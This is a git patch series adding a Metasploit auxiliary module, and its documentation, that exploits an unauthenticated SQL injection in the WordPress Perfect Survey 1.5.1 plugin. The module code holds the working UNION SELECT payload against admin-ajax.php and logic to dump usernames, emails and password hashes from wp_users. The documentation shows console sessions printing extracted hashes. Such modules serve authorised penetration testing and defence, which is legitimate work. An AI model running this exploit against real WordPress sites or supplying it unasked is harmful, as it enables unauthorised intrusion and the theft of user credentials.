From 8d81ad125d6251d17ec3272d48adddc46e3ec745 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 11:40:42 +0530 Subject: [PATCH 01/13] Added Notes section in the code & corrected the disclosure date --- .../http/wp_plugin_perfect_survey_sqli.rb | 133 ++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb diff --git a/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb new file mode 100644 index 000000000000..e86a49dd1b26 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in the Perfect Survey + plugin for WordPress (version 1.5.1). An unauthenticated attacker can + exploit the SQLi to retrieve sensitive information such as usernames + and password hashes from the `wp_users` table. + }, + 'Author' => [ + 'Aaryan Golatkar', # Metasploit Module Creator + 'Ron Jost' # Vulnerability discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['EDB', '50766'], + ['CVE', '2021-24762'] + ], + 'DisclosureDate' => '2021-10-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']), + OptBool.new('SHOW_FULL_RESPONSE', [false, 'Show the entire JSON response if username and password hash are not extracted', false]), + Opt::RPORT(80) # Default port for HTTP + ]) + end + + def run + print_status('Exploiting SQLi in Perfect Survey plugin...') + + # The vulnerable endpoint + endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + + # SQL injection payload + sqli_payload = '1 union select 1,1,char(116,101,120,116),user_login,user_pass,0,0,null,null,null,null,null,null,null,null,null from wp_users' + + # HTTP GET request parameters + params = { + 'action' => 'get_question', + 'question_id' => sqli_payload + } + + # Send the request + res = send_request_cgi({ + 'uri' => endpoint, + 'method' => 'GET', + 'vars_get' => params + }) + + if res && res.code == 200 + print_good('Received a response from the server!') + + begin + # Parse response body as JSON + json_response = JSON.parse(res.body) + + # Extract 'html' field from JSON + html_content = json_response['html'] + + # Extract username + username = extract_between(html_content, 'placeholder="Insert a question - Required" value="', '"') + # Extract password hash starting with $P$ + password_hash = extract_password_hash(html_content) + + if username + print_good("Extracted Username: #{username}") + else + print_error('Could not extract username from the response.') + end + + if password_hash + print_good("Extracted Password Hash: #{password_hash}") + else + print_error('Could not extract password hash from the response.') + end + + print_line('Try setting the SHOW_FULL_RESPONSE variable.') if !username && !password_hash + + # Show full response if extraction fails and the option is enabled + if datastore['SHOW_FULL_RESPONSE'] + print_status("Full Response (HTML):\n#{html_content}") + end + rescue JSON::ParserError => e + print_error("Failed to parse response as JSON: #{e.message}") + end + else + print_error('No response or unexpected HTTP status code!') + end + end + + # Helper function to extract substring between two markers + def extract_between(string, start_marker, end_marker) + start_index = string.index(start_marker) + return nil unless start_index + + start_index += start_marker.length + end_index = string.index(end_marker, start_index) + return nil unless end_index + + string[start_index...end_index] + end + + # Helper function to extract a password hash starting with '$P$' + def extract_password_hash(string) + start_index = string.index('$P$') + return nil unless start_index + + # Assume the password hash ends at the first whitespace or quote + end_index = string.index(/\s|"/, start_index) + end_index ||= string.length # If no end marker found, go to the end of the string + + string[start_index...end_index] + end +end From 3881fd6c3c80a340238aba2aff6f9da876db1457 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 11:41:25 +0530 Subject: [PATCH 02/13] RuboCop Fixes --- modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb index e86a49dd1b26..d4ad9ef6b078 100644 --- a/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'DisclosureDate' => '2021-10-05', 'Notes' => { 'Stability' => [CRASH_SAFE], - 'SideEffects' => [], + 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) From a4af59a595a120b2d10b59abc3d95369dbc24a99 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 11:45:36 +0530 Subject: [PATCH 03/13] Changed filename from wp_plugin_perfect_survey_sqli.rb to wp_perfect_survey_sqli.rb --- ...wp_plugin_perfect_survey_sqli.rb => wp_perfect_survey_sqli.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/http/{wp_plugin_perfect_survey_sqli.rb => wp_perfect_survey_sqli.rb} (100%) diff --git a/modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb similarity index 100% rename from modules/auxiliary/scanner/http/wp_plugin_perfect_survey_sqli.rb rename to modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb From 897dfcd328e6848be06f8f602e1e96f365bbe357 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 11:57:04 +0530 Subject: [PATCH 04/13] Added documentation of the auxiliary module --- .../scanner/http/wp_perfect_survey_sqli.md | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md new file mode 100644 index 000000000000..03715fcc7307 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -0,0 +1,54 @@ +# WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated) + +## Vulnerable Application + +Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability via the `question_id` parameter. + +An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information, such as usernames and password hashes, from the `wp_users` table. + +The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/), or the specific vulnerable version can be found here: [Perfect Survey 1.5.1](https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip). + +## Verification Steps + +1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin. +2. Start `msfconsole`. +3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`. +4. Set the target host: `set RHOSTS [ip]`. +5. Adjust other options as necessary, such as `TARGETURI` (default is `/`). +6. Execute the module: `run`. +7. The module should retrieve usernames and password hashes from the WordPress installation. + +## Options + +### TARGETURI +This option specifies the base path to the WordPress installation. Default is `/`. + +### SHOW_FULL_RESPONSE +If set to `true`, the module will print the entire JSON response received from the server when username and password hash extraction fails. Default is `false`. + +## Scenarios + +### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04 + +#### Example + +```plaintext +msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli +[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > check + +[*] Sending HTTP GET request to check the plugin version... +[*] The target appears to be running Perfect Survey plugin version 1.5.1. +[+] The target appears to be vulnerable. +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > run + +[*] Exploiting SQLi in Perfect Survey plugin... +[+] Received a response from the server! +[+] Extracted Username: admin +[+] Extracted Password Hash: $P$BPUcVygZO/z1DqvPoEYQILBgsyi7tf0 +[*] Auxiliary module execution completed. +``` \ No newline at end of file From f426dc6c20c00e6cc9ef62a5fed54e1099745f20 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 12:02:18 +0530 Subject: [PATCH 05/13] msftidy_docs Fixes --- .../scanner/http/wp_perfect_survey_sqli.md | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md index 03715fcc7307..2288a669f571 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -1,12 +1,13 @@ -# WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated) - ## Vulnerable Application -Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability via the `question_id` parameter. +Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability +via the `question_id` parameter. -An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information, such as usernames and password hashes, from the `wp_users` table. +An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information, +such as usernames and password hashes, from the `wp_users` table. -The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/), or the specific vulnerable version can be found here: [Perfect Survey 1.5.1](https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip). +The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/). +The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip ## Verification Steps @@ -20,11 +21,9 @@ The vulnerable plugin can be downloaded from the [WordPress plugin repository](h ## Options -### TARGETURI -This option specifies the base path to the WordPress installation. Default is `/`. - ### SHOW_FULL_RESPONSE -If set to `true`, the module will print the entire JSON response received from the server when username and password hash extraction fails. Default is `false`. +If set to `true`, the module will print the entire JSON response received from the server when username and password hash extraction fails. +Default is `false`. ## Scenarios @@ -51,4 +50,4 @@ msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > run [+] Extracted Username: admin [+] Extracted Password Hash: $P$BPUcVygZO/z1DqvPoEYQILBgsyi7tf0 [*] Auxiliary module execution completed. -``` \ No newline at end of file +``` From 547bc9660312aa36956120c32f0dc99f712dbd30 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 12:43:20 +0530 Subject: [PATCH 06/13] Modified the output in the document --- .../scanner/http/wp_perfect_survey_sqli.md | 24 +++++++++---------- 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md index 2288a669f571..3e237e3b5caf 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -34,20 +34,18 @@ Default is `false`. ```plaintext msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli [*] Using auxiliary/scanner/http/wp_perfect_survey_sqli -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set rhosts 1.1.1.1 -rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set verbose true -verbose => true -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > check - -[*] Sending HTTP GET request to check the plugin version... -[*] The target appears to be running Perfect Survey plugin version 1.5.1. -[+] The target appears to be vulnerable. -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > run +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104 +RHOSTS => 192.168.1.104 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000 +RPORT => 8000 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress +TARGETURI => /wordpress +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit +[*] Running module against 192.168.1.104 [*] Exploiting SQLi in Perfect Survey plugin... [+] Received a response from the server! -[+] Extracted Username: admin -[+] Extracted Password Hash: $P$BPUcVygZO/z1DqvPoEYQILBgsyi7tf0 -[*] Auxiliary module execution completed. +[+] Extracted Username: aaryan +[+] Extracted Password Hash: $P$BroxbUQTM0N32U7JeMmkXPJrxN9ErZ1 +[*] Auxiliary module execution completed ``` From 500df591564f7742554bae4adb621b2b7388c8c8 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Fri, 6 Dec 2024 12:44:50 +0530 Subject: [PATCH 07/13] Changed plaintext to sh for better looking output --- .../modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md index 3e237e3b5caf..04c654ecfe5b 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -31,7 +31,7 @@ Default is `false`. #### Example -```plaintext +```sh msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli [*] Using auxiliary/scanner/http/wp_perfect_survey_sqli msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104 From db7f05dd76fd2f627f6c2f4d511b23521aa9fe26 Mon Sep 17 00:00:00 2001 From: Aaryan Golatkar <102362952+aaryan-11-x@users.noreply.github.com> Date: Mon, 9 Dec 2024 23:44:04 +0530 Subject: [PATCH 08/13] Made all the changes as requested by the reviewer dledda-r7 --- .../scanner/http/wp_perfect_survey_sqli.rb | 75 ++++--------------- 1 file changed, 15 insertions(+), 60 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb index d4ad9ef6b078..90383b8898db 100644 --- a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'json' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -66,68 +64,25 @@ def run 'vars_get' => params }) - if res && res.code == 200 - print_good('Received a response from the server!') - - begin - # Parse response body as JSON - json_response = JSON.parse(res.body) - - # Extract 'html' field from JSON - html_content = json_response['html'] - - # Extract username - username = extract_between(html_content, 'placeholder="Insert a question - Required" value="', '"') - # Extract password hash starting with $P$ - password_hash = extract_password_hash(html_content) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::Unknown, 'Unexpected reply from the server') unless res.code == 200 - if username - print_good("Extracted Username: #{username}") - else - print_error('Could not extract username from the response.') - end + print_status('Received a response from the server!') - if password_hash - print_good("Extracted Password Hash: #{password_hash}") - else - print_error('Could not extract password hash from the response.') - end + html_content = res.get_json_document['html'] + fail_with(Failure::Unknown, 'HTML content is empty') unless html_content - print_line('Try setting the SHOW_FULL_RESPONSE variable.') if !username && !password_hash - - # Show full response if extraction fails and the option is enabled - if datastore['SHOW_FULL_RESPONSE'] - print_status("Full Response (HTML):\n#{html_content}") - end - rescue JSON::ParserError => e - print_error("Failed to parse response as JSON: #{e.message}") - end + # Use regex to extract username and the password hash + match_data = /survey_question_p">([^<]+)[^$]+(\$P\$[^"]+)/.match(html_content) + if match_data + username, password_hash = match_data.captures + print_good("Extracted credentials: #{username}:#{password_hash}") + store_loot('wordpress.credentials', 'text/plain', rhost, "#{username}:#{password_hash}", 'wp_credentials.txt', 'Extracted WordPress credentials') else - print_error('No response or unexpected HTTP status code!') + print_warning('Could not extract username and password hash. Try enabling SHOW_FULL_RESPONSE.') + print_status("Full Response (HTML):\n#{html_content}") if datastore['SHOW_FULL_RESPONSE'] end - end - - # Helper function to extract substring between two markers - def extract_between(string, start_marker, end_marker) - start_index = string.index(start_marker) - return nil unless start_index - - start_index += start_marker.length - end_index = string.index(end_marker, start_index) - return nil unless end_index - - string[start_index...end_index] - end - - # Helper function to extract a password hash starting with '$P$' - def extract_password_hash(string) - start_index = string.index('$P$') - return nil unless start_index - - # Assume the password hash ends at the first whitespace or quote - end_index = string.index(/\s|"/, start_index) - end_index ||= string.length # If no end marker found, go to the end of the string - - string[start_index...end_index] + rescue JSON::ParserError => e + fail_with(Failure::UnexpectedReply, "Failed to parse response as JSON: #{e.message}") end end From b09d3033f375c5376551883ed6becc92e920019e Mon Sep 17 00:00:00 2001 From: Aaryan Golatkar <102362952+aaryan-11-x@users.noreply.github.com> Date: Tue, 10 Dec 2024 10:17:21 +0530 Subject: [PATCH 09/13] Removed store_loot --- modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb index 90383b8898db..0807dd3e1f7e 100644 --- a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb @@ -77,7 +77,6 @@ def run if match_data username, password_hash = match_data.captures print_good("Extracted credentials: #{username}:#{password_hash}") - store_loot('wordpress.credentials', 'text/plain', rhost, "#{username}:#{password_hash}", 'wp_credentials.txt', 'Extracted WordPress credentials') else print_warning('Could not extract username and password hash. Try enabling SHOW_FULL_RESPONSE.') print_status("Full Response (HTML):\n#{html_content}") if datastore['SHOW_FULL_RESPONSE'] From 299f3027a8e7f139058bf6048369cb19923f3aac Mon Sep 17 00:00:00 2001 From: Aaryan Golatkar <102362952+aaryan-11-x@users.noreply.github.com> Date: Tue, 10 Dec 2024 18:56:54 +0530 Subject: [PATCH 10/13] Added SQLi mixin, Implemented check method & removed SHOW_FULL_RESPONSE option --- .../scanner/http/wp_perfect_survey_sqli.rb | 121 ++++++++++++------ 1 file changed, 80 insertions(+), 41 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb index 0807dd3e1f7e..0faf86a34e1d 100644 --- a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb @@ -1,10 +1,14 @@ -## +## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::SQLi + prepend Msf::Exploit::Remote::AutoCheck + + GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze def initialize(info = {}) super( @@ -14,8 +18,8 @@ def initialize(info = {}) 'Description' => %q{ This module exploits a SQL injection vulnerability in the Perfect Survey plugin for WordPress (version 1.5.1). An unauthenticated attacker can - exploit the SQLi to retrieve sensitive information such as usernames - and password hashes from the `wp_users` table. + exploit the SQLi to retrieve sensitive information such as usernames, + emails, and password hashes from the `wp_users` table. }, 'Author' => [ 'Aaryan Golatkar', # Metasploit Module Creator @@ -37,51 +41,86 @@ def initialize(info = {}) register_options([ OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']), - OptBool.new('SHOW_FULL_RESPONSE', [false, 'Show the entire JSON response if username and password hash are not extracted', false]), Opt::RPORT(80) # Default port for HTTP ]) end + # Define SQLi object + def get_sqli_object + create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload| + endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users" + params = { + 'action' => 'get_question', + 'question_id' => sqli_payload + } + + # Send HTTP GET request + res = send_request_cgi({ + 'uri' => endpoint, + 'method' => 'GET', + 'vars_get' => params + }) + + # Validate response + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200 + + html_content = res.get_json_document['html'] + fail_with(Failure::Unknown, 'HTML content is empty') unless html_content + + # Extract data from response + match_data = /survey_question_p">([^<]+)/.match(html_content) + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data + + extracted_data = match_data.captures[0] + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data + + extracted_data + end + end + + # Check method + def check + @sqli = get_sqli_object + return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG + return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable + + Exploit::CheckCode::Safe + end + + # Run method def run print_status('Exploiting SQLi in Perfect Survey plugin...') + @sqli ||= get_sqli_object + fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG + + creds_table = Rex::Text::Table.new( + 'Header' => 'WordPress User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Email', 'Hash'] + ) - # The vulnerable endpoint - endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') - - # SQL injection payload - sqli_payload = '1 union select 1,1,char(116,101,120,116),user_login,user_pass,0,0,null,null,null,null,null,null,null,null,null from wp_users' - - # HTTP GET request parameters - params = { - 'action' => 'get_question', - 'question_id' => sqli_payload - } - - # Send the request - res = send_request_cgi({ - 'uri' => endpoint, - 'method' => 'GET', - 'vars_get' => params - }) - - fail_with(Failure::Unreachable, 'Connection failed') unless res - fail_with(Failure::Unknown, 'Unexpected reply from the server') unless res.code == 200 - - print_status('Received a response from the server!') - - html_content = res.get_json_document['html'] - fail_with(Failure::Unknown, 'HTML content is empty') unless html_content - - # Use regex to extract username and the password hash - match_data = /survey_question_p">([^<]+)[^$]+(\$P\$[^"]+)/.match(html_content) - if match_data - username, password_hash = match_data.captures - print_good("Extracted credentials: #{username}:#{password_hash}") - else - print_warning('Could not extract username and password hash. Try enabling SHOW_FULL_RESPONSE.') - print_status("Full Response (HTML):\n#{html_content}") if datastore['SHOW_FULL_RESPONSE'] + print_status("Extracting credential information\n") + users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass]) + users.each do |(username, email, hash)| + creds_table << [username, email, hash] + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: username, + private_type: :nonreplayable_hash, + jtr_format: Metasploit::Framework::Hashes.identify_hash(hash), + private_data: hash, + service_name: 'WordPress Perfect Survey Plugin', + address: datastore['RHOSTS'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED, + email: email + }) end - rescue JSON::ParserError => e - fail_with(Failure::UnexpectedReply, "Failed to parse response as JSON: #{e.message}") + print_line creds_table.to_s end end From ef1b38654bc22820a337f6825c5615bb90664141 Mon Sep 17 00:00:00 2001 From: Aaryan Golatkar <102362952+aaryan-11-x@users.noreply.github.com> Date: Tue, 10 Dec 2024 18:59:20 +0530 Subject: [PATCH 11/13] Added perfect-survey to data/wordlists/wp-exploitable-plugins.txt --- data/wordlists/wp-exploitable-plugins.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index c983f587ebb1..06c651ac4beb 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -67,3 +67,4 @@ ultimate-member wp-fastest-cache post-smtp really-simple-ssl +perfect-survey \ No newline at end of file From ccf7e6942ade421909be801e6b20686e81d4f55e Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Tue, 10 Dec 2024 14:48:18 +0100 Subject: [PATCH 12/13] chore: fix rubocop --- modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb index 0faf86a34e1d..4fe15e769c9b 100644 --- a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb @@ -1,4 +1,4 @@ -## +## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From 095bd946f4782dfdc260a5bab96ffdfbc240d709 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Tue, 10 Dec 2024 15:35:16 +0100 Subject: [PATCH 13/13] docs: updated docs --- .../scanner/http/wp_perfect_survey_sqli.md | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md index 04c654ecfe5b..507742d293c9 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -21,10 +21,6 @@ The specific vulnerable version can be found here: https://www.exploit-db.com/ap ## Options -### SHOW_FULL_RESPONSE -If set to `true`, the module will print the entire JSON response received from the server when username and password hash extraction fails. -Default is `false`. - ## Scenarios ### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04 @@ -43,9 +39,16 @@ TARGETURI => /wordpress msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit [*] Running module against 192.168.1.104 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. [*] Exploiting SQLi in Perfect Survey plugin... -[+] Received a response from the server! -[+] Extracted Username: aaryan -[+] Extracted Password Hash: $P$BroxbUQTM0N32U7JeMmkXPJrxN9ErZ1 -[*] Auxiliary module execution completed +[*] Extracting credential information + +WordPress User Credentials +========================== + + Username Email Hash + -------- ----- ---- + admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > ```